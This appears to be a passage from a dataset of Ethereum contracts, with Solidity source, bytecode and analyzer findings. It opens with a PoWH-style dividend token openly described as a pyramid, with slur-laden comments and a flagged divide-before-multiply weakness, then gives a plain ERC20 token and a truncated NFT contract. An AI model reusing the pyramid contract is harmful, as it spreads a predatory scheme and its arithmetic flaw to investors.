uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a Kekly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
if (isUser[_customerAddress] == false) {
referrals[_referredBy]++;
}
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (isUser[_customerAddress] == false ) {
isUser[_customerAddress] = true;
usersAddresses.push(_customerAddress);
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6060604052600436106101315763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461013f57806306fdde031461017057806310d0ffdd146101fa57806318160ddd146102105780632260937314610223578063313ce567146102395780633ccfd60b146102625780634b7503341461027757806356d399e81461028a578063688abbf71461029d5780636b2f4632146102b557806370a08231146102c857806373338081146102e7578063831aba43146103195780638620410b14610338578063949e8acd1461034b57806395d89b411461035e578063a9059cbb14610371578063bff1f9e1146103a7578063e4849b32146103ba578063e9fad8ee146103d0578063f088d547146103e3578063fdb5a03e146103f7575b61013c34600061040a565b50005b341561014a57600080fd5b61015e600160a060020a0360043516610721565b60405190815260200160405180910390f35b341561017b57600080fd5b61018361075c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101bf5780820151838201526020016101a7565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020557600080fd5b61015e6004356107fa565b341561021b57600080fd5b61015e61082d565b341561022e57600080fd5b61015e600435610834565b341561024457600080fd5b61024c610870565b60405160ff909116815260200160405180910390f35b341561026d57600080fd5b610275610875565b005b341561028257600080fd5b61015e610941565b341561029557600080fd5b61015e610998565b34156102a857600080fd5b61015e600435151561099e565b34156102c057600080fd5b61015e6109e1565b34156102d357600080fd5b61015e600160a060020a03600435166109ef565b34156102f257600080fd5b6102fd600435610a0a565b604051600160a060020a03909116815260200160405180910390f35b341561032457600080fd5b61015e600160a060020a0360043516610a32565b341561034357600080fd5b61015e610a4d565b341561035657600080fd5b61015e610a97565b341561036957600080fd5b610183610aaa565b341561037c57600080fd5b610393600160a060020a0360043516602435610b15565b604051901515815260200160405180910390f35b34156103b257600080fd5b61015e610c2a565b34156103c557600080fd5b610275600435610c30565b34156103db57600080fd5b610275610d96565b61015e600160a060020a0360043516610dcd565b341561040257600080fd5b610275610dd9565b600033818080808080806104296104228c6019610e94565b6064610ec6565b965061043961042288603c610e94565b95506104458787610edd565b94506104518b88610edd565b935061045c84610eef565b925068010000000000000000850291506000831180156104865750600a546104848482610f81565b115b151561049157600080fd5b600160a060020a038a16158015906104bb575087600160a060020a03168a600160a060020a031614155b80156104e15750600254600160a060020a038b1660009081526006602052604090205410155b1561056357600160a060020a038a166000908152600760205260409020546105099087610f81565b600160a060020a03808c16600090815260076020908152604080832094909455918b1681526004909152205460ff16151561055e57600160a060020a038a166000908152600360205260409020805460010190555b61057e565b61056d8587610f81565b945068010000000000000000850291505b600160a060020a03881660009081526004602052604090205460ff16151561060b57600160a060020a0388166000908152600460205260409020805460ff1916600190811790915560058054909181016105d8838261102f565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038a161790555b6000600a54111561066f57610622600a5484610f81565b600a81905568010000000000000000860281151561063c57fe5b600b8054929091049091019055600a5468010000000000000000860281151561066157fe5b048302820382039150610675565b600a8390555b600160a060020a0388166000908152600660205260409020546106989084610f81565b600160a060020a03808a16600081815260066020908152604080832095909555600b54600890915290849020805491880287900391820190559350908c16917f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d5908e9087905191825260208201526040908101905180910390a350909998505050505050505050565b600160a060020a0316600090815260086020908152604080832054600690925290912054600b54680100000000000000009102919091030490565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f25780601f106107c7576101008083540402835291602001916107f2565b820191906000526020600020905b8154815290600101906020018083116107d557829003601f168201915b505050505081565b600080808061080d610422866019610e94565b92506108198584610edd565b915061082482610eef565b95945050505050565b600a545b90565b600080600080600a54851115151561084b57600080fd5b61085485610f90565b9250610864610422846019610e94565b91506108248383610edd565b601281565b6000806000610884600161099e565b1161088e57600080fd5b33915061089b600061099e565b600160a060020a0383166000818152600860209081526040808320805468010000000000000000870201905560079091528082208054929055920192509082156108fc0290839051600060405180830381858888f19350505050151561090057600080fd5b81600160a060020a03167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8260405190815260200160405180910390a25050565b600080600080600a546000141561095f5763773593ff199350610992565b610970670de0b6b3a7640000610f90565b9250610980610422846019610e94565b915061098c8383610edd565b90508093505b50505090565b60025481565b600033826109b4576109af81610721565b6109d8565b600160a060020a0381166000908152600760205260409020546109d682610721565b015b91505b50919050565b600160a060020a0330163190565b600160a060020a031660009081526006602052604090205490565b6005805482908110610a1857fe5b600091825260209091200154600160a060020a0316905081565b600160a060020a031660009081526003602052604090205490565b600080600080600a5460001415610a6a5763ee6b28009350610992565b610a7b670de0b6b3a7640000610f90565b9250610a8b610422846019610e94565b915061098c8383610f81565b600033610aa3816109ef565b91505b5090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f25780601f106107c7576101008083540402835291602001916107f2565b6000806000610b22610a97565b11610b2c57600080fd5b50336000610b3a600161099e565b1115610b4857610b48610875565b600160a060020a038116600090815260066020526040902054610b6b9084610edd565b600160a060020a038083166000908152600660205260408082209390935590861681522054610b9a9084610f81565b600160a060020a03858116600081815260066020908152604080832095909555600b805494871680845260089092528583208054958a0290950390945592548282529084902080549188029091019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b5092915050565b60055490565b6000806000806000806000610c43610a97565b11610c4d57600080fd5b33600160a060020a038116600090815260066020526040902054909650871115610c7657600080fd5b869450610c8285610f90565b9350610c92610422856019610e94565b9250610c9e8484610edd565b9150610cac600a5486610edd565b600a55600160a060020a038616600090815260066020526040902054610cd29086610edd565b600160a060020a038716600090815260066020908152604080832093909355600b546008909152918120805492880268010000000000000000860201928390039055600a54919250901115610d4957610d45600b54600a54680100000000000000008602811515610d3f57fe5b04610f81565b600b555b85600160a060020a03167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a31139868460405191825260208201526040908101905180910390a250505050505050565b33600160a060020a03811660009081526006602052604081205490811115610dc157610dc181610c30565b610dc9610875565b5050565b60006109db348361040a565b600080600080610de9600161099e565b11610df357600080fd5b610dfd600061099e565b33600160a060020a038116600090815260086020908152604080832080546801000000000000000087020190556007909152812080549082905590920194509250610e4990849061040a565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab3615326458848360405191825260208201526040908101905180910390a2505050565b600080831515610ea75760009150610c23565b50828202828482811515610eb757fe5b0414610ebf57fe5b9392505050565b6000808284811515610ed457fe5b04949350505050565b600082821115610ee957fe5b50900390565b600a546000906b033b2e3c9fd0803ce800000090829063b2d05e00610f6e610f6873010d0c9f4328576d51cc73c042cfc000000000008802677ce66c50e28400006002860a02016f04838ed6e6b62a8233c5ba6000000000850201760a70c3c40a64e6c51999090b65f67d924000000000000001610ffa565b85610edd565b811515610f7757fe5b0403949350505050565b600082820183811015610ebf57fe5b600a54600090670de0b6b3a7640000838101918101908390610fe763773593ff1982850463b2d05e0002018702600283670de0b6b3a763ffff1982890a8b9003010463b2d05e0002811515610fe157fe5b04610edd565b811515610ff057fe5b0495945050505050565b80600260018201045b818110156109db57809150600281828581151561101c57fe5b040181151561102757fe5b049050611003565b81548183558181151161105357600083815260209020611053918101908301611058565b505050565b61083191905b80821115610aa6576000815560010161105e5600a165627a7a72305820ad6ecab8c2041dc82320bd1923fecc18b5219c75d68fcfc18ee5d084500e90170029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,574 |
0x8f8bed23a644f3bbb4e227e28704c050e67c35be
|
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// HailGocang.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title HailGocang
* @dev HailGocang ERC20 token. Implemented as an OpenZeppelin StandardToken.
*/
contract HailGocang is StandardToken {
string public constant name = "Hail Gocang";
string public constant symbol = "CANG";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 66666666 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610377565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561037d565b3480156101dd57600080fd5b506101956104f4565b3480156101f257600080fd5b506101fb610503565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610508565b34801561024157600080fd5b50610195600160a060020a03600435166105f8565b34801561026257600080fd5b506100d3610613565b34801561027757600080fd5b5061016c600160a060020a036004351660243561064a565b34801561029b57600080fd5b5061016c600160a060020a036004351660243561072b565b3480156102bf57600080fd5b50610195600160a060020a03600435811690602435166107c4565b60408051808201909152600b81527f4861696c20476f63616e67000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561039457600080fd5b600160a060020a0384166000908152602081905260409020548211156103b957600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156103e957600080fd5b600160a060020a038416600090815260208190526040902054610412908363ffffffff6107ef16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610447908363ffffffff61080116565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610489908363ffffffff6107ef16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6a372537349a396a2868000081565b601281565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561055d57336000908152600260209081526040808320600160a060020a0388168452909152812055610592565b61056d818463ffffffff6107ef16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600481527f43414e4700000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561066157600080fd5b3360009081526020819052604090205482111561067d57600080fd5b3360009081526020819052604090205461069d908363ffffffff6107ef16565b3360009081526020819052604080822092909255600160a060020a038516815220546106cf908363ffffffff61080116565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205461075f908363ffffffff61080116565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156107fb57fe5b50900390565b8181018281101561080e57fe5b929150505600a165627a7a72305820bb3e7414e06749010caea4fb9b9fa9d1edf16ebb3ae9bb602581ef2b552c764d0029
|
{"success": true, "error": null, "results": {}}
| 3,575 |
0x6470e1ef72cf562ff1a6c805a70e733ceb5f54b6
|
/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
interface ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata _data) external;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC721Metadata {
function name() external view returns (string memory _name);
function symbol() external view returns (string memory _symbol);
function tokenURI(uint256 _tokenId) external view returns (string memory);
}
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
interface ERC721TokenReceiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
}
contract SupportsInterface is ERC165 {
mapping(bytes4 => bool) internal supportedInterfaces;
constructor() {
supportedInterfaces[0x01ffc9a7] = true; // ERC165
}
function supportsInterface(bytes4 _interfaceID) external override view returns (bool) {
return supportedInterfaces[_interfaceID];
}
}
contract HodlBag is ERC721, ERC721Metadata, SupportsInterface {
uint32 constant BASEPRICE = 1000000; // 0.01 ETH, 8 decimals
uint32 constant INCREMENT = 30; // 3%
uint32 constant DECREMENT = 20; // 2%
uint8 constant DESIGNS = 4; // Number of designs (BTC, ETH, DOGE, ???)
string internal nftName;
string internal nftSymbol;
uint256 internal tokenCount;
uint64[4] public nftPrices; // Price array for each design
address public admin;
// Mapping from NFT ID to metadata uri.
mapping (uint256 => string) internal idToUri;
// Mapping from NFT ID to the address that owns it.
mapping (uint256 => address) internal idToOwner;
// Mapping from NFT ID to approved address.
mapping (uint256 => address) internal idToApproval;
// Mapping from owner address to count of his tokens.
mapping (address => uint256) private ownerToNFTokenCount;
// Mapping from owner address to mapping of operator addresses.
mapping (address => mapping (address => bool)) internal ownerToOperators;
// Mapping from NFT ID to redeemed state.
mapping (uint256 => bool) public idToRedeemed;
// Guarantees that the msg.sender is an owner or operator of the given NFT.
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender], 'NOT_OWNER_OR_OPERATOR');
_;
}
// Guarantees that the msg.sender is allowed to transfer NFT.
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || idToApproval[_tokenId] == msg.sender || ownerToOperators[tokenOwner][msg.sender], 'NOT_OWNER_APPROVED_OR_OPERATOR');
_;
}
// Guarantees that _tokenId is a valid Token.
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != address(0), 'NOT_VALID_NFT');
_;
}
constructor() {
nftName = "HODLbag NFT";
nftSymbol = "HDLN";
admin = msg.sender;
initPrices();
supportedInterfaces[0x80ac58cd] = true; // ERC721
supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata
}
function initPrices() private {
for (uint i = 0; i < DESIGNS; i++) {
nftPrices[i] = BASEPRICE;
}
}
function balanceOf(address _owner) external override view returns (uint256) {
require(_owner != address(0), 'ZERO_ADDRESS');
return ownerToNFTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) external override view returns (address _owner) {
_owner = idToOwner[_tokenId];
require(_owner != address(0), 'NOT_VALID_NFT');
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata _data) external override {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external override {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId) external override canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, 'NOT_OWNER');
require(_to != address(0), 'ZERO_ADDRESS');
_transfer(_to, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external override canOperate(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner, 'IS_OWNER');
idToApproval[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external override {
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) external override view validNFToken(_tokenId) returns (address) {
return idToApproval[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external override view returns (bool) {
return ownerToOperators[_owner][_operator];
}
function totalSupply() external view returns (uint256 _totalsupply) {
_totalsupply = tokenCount;
}
function name() external override view returns (string memory _name) {
_name = nftName;
}
function symbol() external override view returns (string memory _symbol) {
_symbol = nftSymbol;
}
// A distinct URI (RFC 3986) for a given NFT.
function tokenURI(uint256 _tokenId) external override view validNFToken(_tokenId) returns (string memory) {
return idToUri[_tokenId];
}
function _setTokenUri(uint256 _tokenId, string memory _uri) internal validNFToken(_tokenId) {
idToUri[_tokenId] = _uri;
}
function isContract(address _addr) internal view returns (bool addressCheck) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(_addr) } // solhint-disable-line
addressCheck = (codehash != 0x0 && codehash != accountHash);
}
function _transfer(address _to, uint256 _tokenId) internal {
address from = idToOwner[_tokenId];
// Clear approval
if (idToApproval[_tokenId] != address(0)) {
delete idToApproval[_tokenId];
}
// Transfer
require(idToOwner[_tokenId] == from, 'NOT_OWNER');
ownerToNFTokenCount[from]--;
idToOwner[_tokenId] = _to;
ownerToNFTokenCount[_to]++;
emit Transfer(from, _to, _tokenId);
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) private canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, 'NOT_OWNER');
require(_to != address(0), 'ZERO_ADDRESS');
_transfer(_to, _tokenId);
if (isContract(_to)) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
require(retval == 0x150b7a02, 'NOT_ABLE_TO_RECEIVE_NFT');
}
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0), 'ZERO_ADDRESS');
require(idToOwner[_tokenId] == address(0), 'NFT_ALREADY_EXISTS');
idToOwner[_tokenId] = _to;
ownerToNFTokenCount[_to]++;
emit Transfer(address(0), _to, _tokenId);
}
function _setPrices(uint8 _designId) private {
for (uint i = 0; i < DESIGNS; i++) {
if (i == _designId) {
// Increase the price for the minted design
nftPrices[i] = nftPrices[i] * (1000 + INCREMENT) / 1000;
}
else {
// Decrease the price for every other designs
uint256 decrement = nftPrices[i] * DECREMENT / 1000 / (DESIGNS - 1);
nftPrices[i] -= uint32(decrement);
}
}
}
function getPrice(uint8 _designId) public view returns (uint256) {
